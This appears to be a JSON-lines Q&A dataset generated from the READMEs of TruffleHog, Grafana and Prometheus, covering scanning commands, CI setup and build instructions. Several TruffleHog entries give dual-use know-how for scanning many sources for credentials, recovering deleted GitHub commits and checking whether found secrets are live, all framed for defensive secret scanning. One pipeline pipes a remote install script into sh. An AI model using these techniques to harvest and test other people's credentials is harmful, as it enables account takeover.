{"id": "gh_b5463a53c097", "question": "How to: 14: Scan a Jenkins server", "question_body": "About trufflesecurity/trufflehog", "answer": "```bash\ntrufflehog jenkins --url https://jenkins.example.com --username admin --password admin\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415248"}
{"id": "gh_b3ae69f98c5f", "question": "How to: Scan a Local Cluster", "question_body": "About trufflesecurity/trufflehog", "answer": "There are two ways to authenticate to a local cluster with TruffleHog: (1) username and password, (2) service token.\n\n#### Connect to a local cluster with username and password\n\n```bash\ntrufflehog elasticsearch --nodes 192.168.14.3 192.168.14.4 --username truffle --password hog\n```\n\n#### Connect to a local cluster with a service token\n\n```bash\ntrufflehog elasticsearch --nodes 192.168.14.3 192.168.14.4 --service-token ‘AAEWVaWM...Rva2VuaSDZ’\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415256"}
{"id": "gh_372c042bdeaf", "question": "How to: Scan an Elastic Cloud Cluster", "question_body": "About trufflesecurity/trufflehog", "answer": "To scan a cluster on Elastic Cloud, you’ll need a Cloud ID and API key.\n\n```bash\ntrufflehog elasticsearch \\\n  --cloud-id 'search-prod:dXMtY2Vx...YjM1ODNlOWFiZGRlNjI0NA==' \\\n  --api-key 'MlVtVjBZ...ZSYlduYnF1djh3NG5FQQ=='\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415263"}
{"id": "gh_af4862372eec", "question": "How to: 16. Scan a GitHub Repository for Cross Fork Object References and Deleted Commits", "question_body": "About trufflesecurity/trufflehog", "answer": "The following command will enumerate deleted and hidden commits on a GitHub repository and then scan them for secrets. This is an alpha release feature.\n\n```bash\ntrufflehog github-experimental --repo https://github.com/\n/\n.git --object-discovery\n```\n\nIn addition to the normal TruffleHog output, the `--object-discovery` flag creates two files in a new `$HOME/.trufflehog` directory: `valid_hidden.txt` and `invalid.txt`. These are used to track state during commit enumeration, as well as to provide users with a complete list of all hidden and deleted commits (`valid_hidden.txt`). If you'd like to automatically remove these files after scanning, please add the flag `--delete-cached-data`.\n\n**Note**: Enumerating all valid commits on a repository using this method takes between 20 minutes and a few hours, depending on the size of your repository. We added a progress bar to keep you updated on how long the enumeration will take. The actual secret scanning runs extremely fast.\n\nFor more information on Cross Fork Object References, please [read our blog post](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415270"}
{"id": "gh_fc4bde9375f2", "question": "How to: Scan a Hugging Face Model, Dataset or Space", "question_body": "About trufflesecurity/trufflehog", "answer": "```bash\ntrufflehog huggingface --model\n--space\n--dataset\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415275"}
{"id": "gh_4d531b19fc73", "question": "How to: Scan all Models, Datasets and Spaces belonging to a Hugging Face Organization or User", "question_body": "About trufflesecurity/trufflehog", "answer": "```bash\ntrufflehog huggingface --org\n--user\n```\n\n(Optionally) When scanning an organization or user, you can skip an entire class of resources with `--skip-models`, `--skip-datasets`, `--skip-spaces` OR a particular resource with `--ignore-models\n`, `--ignore-datasets\n`, `--ignore-spaces\n`.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415281"}
{"id": "gh_daaa485348b0", "question": "How to: Scan Discussion and PR Comments", "question_body": "About trufflesecurity/trufflehog", "answer": "```bash\ntrufflehog huggingface --model\n--include-discussions --include-prs\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415286"}
{"id": "gh_68e2577464a9", "question": "How to: 18. Scan stdin Input", "question_body": "About trufflesecurity/trufflehog", "answer": "```bash\naws s3 cp s3://example/gzipped/data.gz - | gunzip -c | trufflehog stdin\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415291"}
{"id": "gh_1d50db0f24d5", "question": "How to: :question: FAQ", "question_body": "About trufflesecurity/trufflehog", "answer": "- All I see is `🐷🔑🐷  TruffleHog. Unearth your secrets. 🐷🔑🐷` and the program exits, what gives?\n  - That means no secrets were detected\n- Why is the scan taking a long time when I scan a GitHub org\n  - Unauthenticated GitHub scans have rate limits. To improve your rate limits, include the `--token` flag with a personal access token\n- It says a private key was verified, what does that mean?\n  - A verified result means TruffleHog confirmed the credential is valid by testing it against the service's API. For private keys, we've confirmed the key can be used live for SSH or SSL authentication. Check out our Driftwood blog post to learn more [Blog post](https://trufflesecurity.com/blog/driftwood-know-if-private-keys-are-sensitive/)\n- Is there an easy way to ignore specific secrets?\n  - If the scanned source [supports line numbers](https://github.com/trufflesecurity/trufflehog/blob/d6375ba92172fd830abb4247cca15e3176448c5d/pkg/engine/engine.go#L358-L365), then you can add a `trufflehog:ignore` comment on the line containing the secret to ignore that secrets.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415301"}
{"id": "gh_0d40e752b687", "question": "How to: :newspaper: What's new in v3?", "question_body": "About trufflesecurity/trufflehog", "answer": "TruffleHog v3 is a complete rewrite in Go with many new powerful features.\n\n- We've **added over 700 credential detectors that support active verification against their respective APIs**.\n- We've also added native **support for scanning GitHub, GitLab, Docker, filesystems, S3, GCS, Circle CI and Travis CI**.\n- **Instantly verify private keys** against millions of github users and **billions** of TLS certificates using our [Driftwood](https://trufflesecurity.com/blog/driftwood) technology.\n- Scan binaries, documents, and other file formats\n- Available as a GitHub Action and a pre-commit hook", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415308"}
{"id": "gh_b4b34db434e0", "question": "How to: What is credential verification?", "question_body": "About trufflesecurity/trufflehog", "answer": "For every potential credential that is detected, we've painstakingly implemented programmatic verification against the API that we think it belongs to. Verification eliminates false positives and provides three result statuses:\n\n- **verified**: Credential confirmed as valid and active by API testing\n- **unverified**: Credential detected but not confirmed valid (may be invalid, expired, or verification disabled)  \n- **unknown**: Verification attempted but failed due to errors, such as a network or API failure\n\nFor example, the [AWS credential detector](pkg/detectors/aws/aws.go) performs a `GetCallerIdentity` API call against the AWS API to verify if an AWS credential is active.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415314"}
{"id": "gh_70025e78cc30", "question": "How to: :memo: Usage", "question_body": "About trufflesecurity/trufflehog", "answer": "TruffleHog has a sub-command for each source of data that you may want to scan:\n\n- git\n- github\n- gitlab\n- docker\n- s3\n- filesystem (files and directories)\n- syslog\n- circleci\n- travisci\n- gcs (Google Cloud Storage)\n- postman\n- jenkins\n- elasticsearch\n- stdin\n- multi-scan\n\nEach subcommand can have options that you can see with the `--help` flag provided to the sub command:\n\n```\n$ trufflehog git --help\nusage: TruffleHog git [\n]\nFind credentials in git repositories.\n\nFlags:\n  -h, --help                Show context-sensitive help (also try --help-long and --help-man).\n      --log-level=0         Logging verbosity on a scale of 0 (info) to 5 (trace). Can be disabled with \"-1\".\n      --profile             Enables profiling and sets a pprof and fgprof server on :18066.\n  -j, --json                Output in JSON format.\n      --json-legacy         Use the pre-v3.0 JSON format. Only works with git, gitlab, and github sources.\n      --github-actions      Output in GitHub Actions format.\n      --concurrency=20           Number of concurrent workers.\n      --no-verification     Don't verify the results.\n      --results=RESULTS          Specifies which type(s) of results to output: verified (confirmed valid by API), unknown (verification failed due to error), unverified (detected but not verified), filtered_unverified (unverified but would have been filtered out). Defaults to all types.\n      --allow-verification-overlap\n                                 Allow verification of similar credentials across detectors\n      --filter-unverified   Only output first unverified result per chunk per detector if there are more than one results.\n      --filter-entropy=FILTER-ENTROPY\n                                 Filter unverified results with Shannon entropy. Start with 3.0.\n      --config=CONFIG            Path to configuration file.\n      --print-avg-detector-time\n                                 Print the average time spent on each detector.\n      --no-update           Don't check for updates.\n      --fail                Exit with code 183 if results are found.\n      --verifier=VERIFIER ...    Set custom verification endpoints.\n      --custom-verifiers-only   Only use custom verification endpoints.\n      --archive-max-size=ARCHIVE-MAX-SIZE\n                                 Maximum size of archive to scan. (Byte units eg. 512B, 2KB, 4MB)\n      --archive-max-depth=ARCHIVE-MAX-DEPTH\n                                 Maximum depth of archive to scan.\n      --archive-timeout=ARCHIVE-TIMEOUT\n                                 Maximum time to spend extracting an archive.\n      --include-detectors=\"all\"  Comma separated list of detector types to include. Protobuf name or IDs may be used, as well as ranges.\n      --exclude-detectors=EXCLUDE-DETECTORS\n                                 Comma separated list of detector types to exclude. Protobuf name or IDs may be used, as well as ranges. IDs defined here take precedence over the include list.\n      --version             Show application version.\n  -i, --include-paths=INCLUDE-PATHS\n                                 Path to file with newline separated regexes for files to include in scan.\n  -x, --exclude-paths=EXCLUDE-PATHS\n                                 Path to file with newline separated regexes for files to exclude in scan.\n      --exclude-globs=EXCLUDE-GLOBS\n                                 Comma separated list of globs to exclude in scan. This option filters at the `git log` level, resulting in faster scans.\n      --since-commit=SINCE-COMMIT\n                                 Commit to start scan from.\n      --branch=BRANCH            Branch to scan.\n      --max-depth=MAX-DEPTH      Maximum depth of commits to scan.\n      --bare                Scan bare repository (e.g. useful while using in pre-receive hooks)\n\nArgs:\nGit repository URL. https://, file://, or ssh:// schema expected.\n```\n\nFor example, to scan a `git` repository, start with\n\n```\ntrufflehog git https://github.com/trufflesecurity/trufflehog.git\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415329"}
{"id": "gh_01f292c4a630", "question": "How to: Configuration", "question_body": "About trufflesecurity/trufflehog", "answer": "TruffleHog supports defining [custom regex detectors](#custom-regex-detector-alpha)\nand multiple sources in a configuration file provided via the `--config` flag.\nThe regex detectors can be used with any subcommand, while the sources defined\nin configuration are only for the `multi-scan` subcommand.\n\nThe configuration format for sources can be found on Truffle Security's\n[source configuration documentation page](https://docs.trufflesecurity.com/scan-data-for-secrets).\n\nExample GitHub source configuration and [options reference](https://docs.trufflesecurity.com/github#Fvm1I):\n\n```yaml\nsources:\n- connection:\n    '@type': type.googleapis.com/sources.GitHub\n    repositories:\n    - https://github.com/trufflesecurity/test_keys.git\n    unauthenticated: {}\n  name: example config scan\n  type: SOURCE_TYPE_GITHUB\n  verify: true\n```\n\nYou may define multiple connections under the `sources` key (see above), and\nTruffleHog will scan all of the sources concurrently.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415337"}
{"id": "gh_6156a2f1ebf6", "question": "How to: General Usage", "question_body": "About trufflesecurity/trufflehog", "answer": "```\non:\n  push:\n    branches:\n      - main\n  pull_request:\n\njobs:\n  test:\n    runs-on: ubuntu-latest\n    steps:\n    - name: Checkout code\n      uses: actions/checkout@v4\n      with:\n        fetch-depth: 0\n    - name: Secret Scanning\n      uses: trufflesecurity/trufflehog@main\n      with:\n        extra_args: --results=verified,unknown\n```\n\nIn the example config above, we're scanning for live secrets in all PRs and Pushes to `main`. Only code changes in the referenced commits are scanned. If you'd like to scan an entire branch, please see the \"Advanced Usage\" section below.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415346"}
{"id": "gh_9a8f0887f3f0", "question": "How to: Shallow Cloning", "question_body": "About trufflesecurity/trufflehog", "answer": "If you're incorporating TruffleHog into a standalone workflow and aren't running any other CI/CD tooling alongside TruffleHog, then we recommend using [Shallow Cloning](https://git-scm.com/docs/git-clone#Documentation/git-clone.txt---depthltdepthgt) to speed up your workflow. Here's an example of how to do it:\n\n```\n...\n      - shell: bash\n        run: |\n          if [ \"${{ github.event_name }}\" == \"push\" ]; then\n            echo \"depth=$(($(jq length <<< '${{ toJson(github.event.commits) }}') + 2))\" >> $GITHUB_ENV\n            echo \"branch=${{ github.ref_name }}\" >> $GITHUB_ENV\n          fi\n          if [ \"${{ github.event_name }}\" == \"pull_request\" ]; then\n            echo \"depth=$((${{ github.event.pull_request.commits }}+2))\" >> $GITHUB_ENV\n            echo \"branch=${{ github.event.pull_request.head.ref }}\" >> $GITHUB_ENV\n          fi\n      - uses: actions/checkout@v3\n        with:\n          ref: ${{env.branch}}\n          fetch-depth: ${{env.depth}}\n      - uses: trufflesecurity/trufflehog@main\n        with:\n          extra_args: --results=verified,unknown\n...\n```\n\nDepending on the event type (push or PR), we calculate the number of commits present. Then we add 2, so that we can reference a base commit before our code changes. We pass that integer value to the `fetch-depth` flag in the checkout action in addition to the relevant branch. Now our checkout process should be much shorter.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415353"}
{"id": "gh_35de5334dbbd", "question": "How to: Canary detection", "question_body": "About trufflesecurity/trufflehog", "answer": "TruffleHog statically detects [https://canarytokens.org/](https://canarytokens.org/).\n\n![image](https://github.com/trufflesecurity/trufflehog/assets/52866392/74ace530-08c5-4eaf-a169-84a73e328f6f)", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415358"}
{"id": "gh_037f9006b1ed", "question": "How to: Advanced Usage", "question_body": "About trufflesecurity/trufflehog", "answer": "```yaml\n- name: TruffleHog\n  uses: trufflesecurity/trufflehog@main\n  with:\n    # Repository path\n    path:\n    # Start scanning from here (usually main branch).\n    base:\n    # Scan commits until here (usually dev branch).\n    head: # optional\n    # Extra args to be passed to the trufflehog cli.\n    extra_args: --log-level=2 --results=verified,unknown\n```\n\nIf you'd like to specify specific `base` and `head` refs, you can use the `base` argument (`--since-commit` flag in TruffleHog CLI) and the `head` argument (`--branch` flag in the TruffleHog CLI). We only recommend using these arguments for very specific use cases, where the default behavior does not work.\n\n#### Advanced Usage: Scan entire branch\n\n```\n- name: scan-push\n        uses: trufflesecurity/trufflehog@main\n        with:\n          base: \"\"\n          head: ${{ github.ref_name }}\n          extra_args: --results=verified,unknown\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415365"}
{"id": "gh_b14317bd18fe", "question": "How to: Example Usage", "question_body": "About trufflesecurity/trufflehog", "answer": "```yaml\nstages:\n  - security\n\nsecurity-secrets:\n  stage: security\n  allow_failure: false\n  image: alpine:latest\n  variables:\n    SCAN_PATH: \".\" # Set the relative path in the repo to scan\n  before_script:\n    - apk add --no-cache git curl jq\n    - curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin\n  script:\n    - trufflehog filesystem \"$SCAN_PATH\" --results=verified,unknown --fail --json | jq\n  rules:\n    - if: '$CI_PIPELINE_SOURCE == \"merge_request_event\"'\n```\n\nIn the example pipeline above, we're scanning for live secrets in all repository directories and files. This job runs only when the pipeline source is a merge request event, meaning it's triggered when a new merge request is created.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415380"}
{"id": "gh_f99fdcbff643", "question": "How to: Pre-commit Hook", "question_body": "About trufflesecurity/trufflehog", "answer": "TruffleHog can be used in a pre-commit hook to prevent credentials from leaking before they ever leave your computer.\n\nSee the [pre-commit hook documentation](PreCommit.md) for more information.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415386"}
{"id": "gh_f475838b5c31", "question": "How to: Custom Regex Detector (alpha)", "question_body": "About trufflesecurity/trufflehog", "answer": "TruffleHog supports detection and verification of custom regular expressions.\nFor detection, at least one **regular expression** and **keyword** is required.\nA **keyword** is a fixed literal string identifier that appears in or around\nthe regex to be detected. To allow maximum flexibility for verification, a\nwebhook is used containing the regular expression matches.\n\nTruffleHog will send a JSON POST request containing the regex matches to a\nconfigured webhook endpoint. If the endpoint responds with a `200 OK` response\nstatus code, the secret is considered verified. If verification fails due to network/API errors, the result is marked as unknown.\n\nCustom Detectors support a few different filtering mechanisms: entropy, regex targeting the entire match, regex targeting the captured secret,\nand excluded word lists checked against the secret (captured group if present, entire match if capture group is not present). Note that if\nyour custom detector has multiple `regex` set (in this example `hogID`, and `hogToken`), then the filters get applied to each regex. [Here](examples/generic_with_filters.yml) is an example of a custom detector using these filters.\n\n**NB:** This feature is alpha and subject to change.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415394"}
{"id": "gh_2abf4a7f7b7a", "question": "How to: Regex Detector Example", "question_body": "About trufflesecurity/trufflehog", "answer": "[Here](/pkg/custom_detectors/CUSTOM_DETECTORS.md) is how to setup a custom regex detector with verification server.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415399"}
{"id": "gh_6b9f2ac0227f", "question": "How to: Generic JWT Detection", "question_body": "About trufflesecurity/trufflehog", "answer": "TruffleHog supports detection and verification of a subset of generic JWTs it finds.\nSpecifically, if a JWT uses public-key cryptography rather than HMAC and the public key can be obtained, TruffleHog can determine whether the JWT is live or not.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415404"}
{"id": "gh_610caddbb478", "question": "How to: :mag: Analyze", "question_body": "About trufflesecurity/trufflehog", "answer": "TruffleHog supports running a deeper analysis of a credential to view its permissions and the resources it has access to.\n\n```bash\ntrufflehog analyze\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415414"}
{"id": "gh_97b6d08ae103", "question": "How to: :heart: Contributors", "question_body": "About trufflesecurity/trufflehog", "answer": "This project exists thanks to all the people who contribute. [[Contribute](CONTRIBUTING.md)].", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415420"}
{"id": "gh_d801a7bdcdc7", "question": "How to: :computer: Contributing", "question_body": "About trufflesecurity/trufflehog", "answer": "Contributions are very welcome! Please see our [contribution guidelines first](CONTRIBUTING.md).\n\nWe no longer accept contributions to TruffleHog v2, but that code is available in the `v2` branch.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415425"}
{"id": "gh_6205d8a88e67", "question": "How to: Adding new secret detectors", "question_body": "About trufflesecurity/trufflehog", "answer": "We have published some [documentation and tooling to get started on adding new secret detectors](hack/docs/Adding_Detectors_external.md). Let's improve detection together!", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415430"}
{"id": "gh_6261b544d4de", "question": "How to: Use as a library", "question_body": "About trufflesecurity/trufflehog", "answer": "Currently, trufflehog is in heavy development and no guarantees can be made on\nthe stability of the public APIs at this time.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415435"}
{"id": "gh_d9add8be3826", "question": "How to: License Change", "question_body": "About trufflesecurity/trufflehog", "answer": "Since v3.0, TruffleHog is released under a AGPL 3 license, included in [`LICENSE`](LICENSE). TruffleHog v3.0 uses none of the previous codebase, but care was taken to preserve backwards compatibility on the command line interface. The work previous to this release is still available licensed under GPL 2.0 in the history of this repository and the previous package releases and tags. A completed CLA is required for us to accept contributions going forward.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415441"}
{"id": "gh_9b4274891be8", "question": "How to: Get started", "question_body": "About grafana/grafana", "answer": "- [Get Grafana](https://grafana.com/get)\n- [Installation guides](https://grafana.com/docs/grafana/latest/setup-grafana/installation/)\n\nUnsure if Grafana is for you? Watch Grafana in action on [play.grafana.org](https://play.grafana.org/)!", "tags": ["grafana"], "source": "github_gists", "category": "grafana", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 71730, "answer_score": 10, "has_code": false, "url": "https://github.com/grafana/grafana", "collected_at": "2026-01-17T08:22:42.845063"}
{"id": "gh_4ace38c6fb6c", "question": "How to: Documentation", "question_body": "About grafana/grafana", "answer": "The Grafana documentation is available at [grafana.com/docs](https://grafana.com/docs/).", "tags": ["grafana"], "source": "github_gists", "category": "grafana", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 71730, "answer_score": 10, "has_code": false, "url": "https://github.com/grafana/grafana", "collected_at": "2026-01-17T08:22:42.845076"}
{"id": "gh_2139a1888b37", "question": "How to: Contributing", "question_body": "About grafana/grafana", "answer": "If you're interested in contributing to the Grafana project:\n\n- Start by reading the [Contributing guide](https://github.com/grafana/grafana/blob/HEAD/CONTRIBUTING.md).\n- Learn how to set up your local environment, in our [Developer guide](https://github.com/grafana/grafana/blob/HEAD/contribute/developer-guide.md).\n- Explore our [beginner-friendly issues](https://github.com/grafana/grafana/issues?q=is%3Aopen+is%3Aissue+label%3A%22beginner+friendly%22).\n- Look through our [style guide and Storybook](https://developers.grafana.com/ui/latest/index.html).\n\n> Share your contributor experience in our [feedback survey](https://gra.fan/ome) to help us improve.", "tags": ["grafana"], "source": "github_gists", "category": "grafana", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 71730, "answer_score": 10, "has_code": false, "url": "https://github.com/grafana/grafana", "collected_at": "2026-01-17T08:22:42.845082"}
{"id": "gh_72c2c73b7769", "question": "How to: Architecture overview", "question_body": "About prometheus/prometheus", "answer": "![Architecture overview](documentation/images/architecture.svg)", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 62250, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus/prometheus", "collected_at": "2026-01-17T08:22:44.364284"}
{"id": "gh_deac8d06f0e2", "question": "How to: Precompiled binaries", "question_body": "About prometheus/prometheus", "answer": "Precompiled binaries for released versions are available in the\n[*download* section](https://prometheus.io/download/)\non [prometheus.io](https://prometheus.io). Using the latest production release binary\nis the recommended way of installing Prometheus.\nSee the [Installing](https://prometheus.io/docs/introduction/install/)\nchapter in the documentation for all the details.", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 62250, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus/prometheus", "collected_at": "2026-01-17T08:22:44.364300"}
{"id": "gh_fbdcb1406955", "question": "How to: Docker images", "question_body": "About prometheus/prometheus", "answer": "Docker images are available on [Quay.io](https://quay.io/repository/prometheus/prometheus) or [Docker Hub](https://hub.docker.com/r/prom/prometheus/).\n\nYou can launch a Prometheus container for trying it out with\n\n```bash\ndocker run --name prometheus -d -p 127.0.0.1:9090:9090 prom/prometheus\n```\n\nPrometheus will now be reachable at\n.", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 62250, "answer_score": 10, "has_code": true, "url": "https://github.com/prometheus/prometheus", "collected_at": "2026-01-17T08:22:44.364307"}
{"id": "gh_2236d360f7d3", "question": "How to: Building from source", "question_body": "About prometheus/prometheus", "answer": "To build Prometheus from source code, You need:\n\n* Go: Version specified in [go.mod](./go.mod) or greater.\n* NodeJS: Version specified in [.nvmrc](./web/ui/.nvmrc) or greater.\n* npm: Version 10 or greater (check with `npm --version` and [here](https://www.npmjs.com/)).\n\nStart by cloning the repository:\n\n```bash\ngit clone https://github.com/prometheus/prometheus.git\ncd prometheus\n```\n\nYou can use the `go` tool to build and install the `prometheus`\nand `promtool` binaries into your `GOPATH`:\n\n```bash\ngo install github.com/prometheus/prometheus/cmd/...\nprometheus --config.file=your_config.yml\n```\n\n*However*, when using `go install` to build Prometheus, Prometheus will expect to be able to\nread its web assets from local filesystem directories under `web/ui/static`. In order for\nthese assets to be found, you will have to run Prometheus from the root of the cloned\nrepository. Note also that this directory does not include the React UI unless it has been\nbuilt explicitly using `make assets` or `make build`.\n\nAn example of the above configuration file can be found [here.](https://github.com/prometheus/prometheus/blob/main/documentation/examples/prometheus.yml)\n\nYou can also build using `make build`, which will compile in the web assets so that\nPrometheus can be run from anywhere:\n\n```bash\nmake build\n./prometheus --config.file=your_config.yml\n```\n\nThe Makefile provides several targets:\n\n* *build*: build the `prometheus` and `promtool` binaries (includes building and compiling in web assets)\n* *test*: run the tests\n* *test-short*: run the short tests\n* *format*: format the source code\n* *vet*: check the source code for common errors\n* *assets*: build the React UI", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 62250, "answer_score": 10, "has_code": true, "url": "https://github.com/prometheus/prometheus", "collected_at": "2026-01-17T08:22:44.364317"}
{"id": "gh_c60306705c89", "question": "How to: Service discovery plugins", "question_body": "About prometheus/prometheus", "answer": "Prometheus is bundled with many service discovery plugins. You can customize\nwhich service discoveries are included in your build using Go build tags.\n\nTo exclude service discoveries when building with `make build`, add the desired\ntags to the `.promu.yml` file under `build.tags.all`:\n\n```yaml\nbuild:\n    tags:\n        all:\n            - netgo\n            - builtinassets\n            - remove_all_sd           # Exclude all optional SDs\n            - enable_kubernetes_sd    # Re-enable only kubernetes\n```\n\nThen run `make build` as usual. Alternatively, when using `go build` directly:\n\n```bash\ngo build -tags \"remove_all_sd,enable_kubernetes_sd\" ./cmd/prometheus\n```\n\nAvailable build tags:\n* `remove_all_sd` - Exclude all optional service discoveries (keeps file_sd, static_sd, and http_sd)\n* `enable_\n_sd` - Re-enable a specific SD when using `remove_all_sd`\n\nIf you add out-of-tree plugins, which we do not endorse at the moment,\nadditional steps might be needed to adjust the `go.mod` and `go.sum` files. As\nalways, be extra careful when loading third party code.", "tags": ["prometheus"], "source": 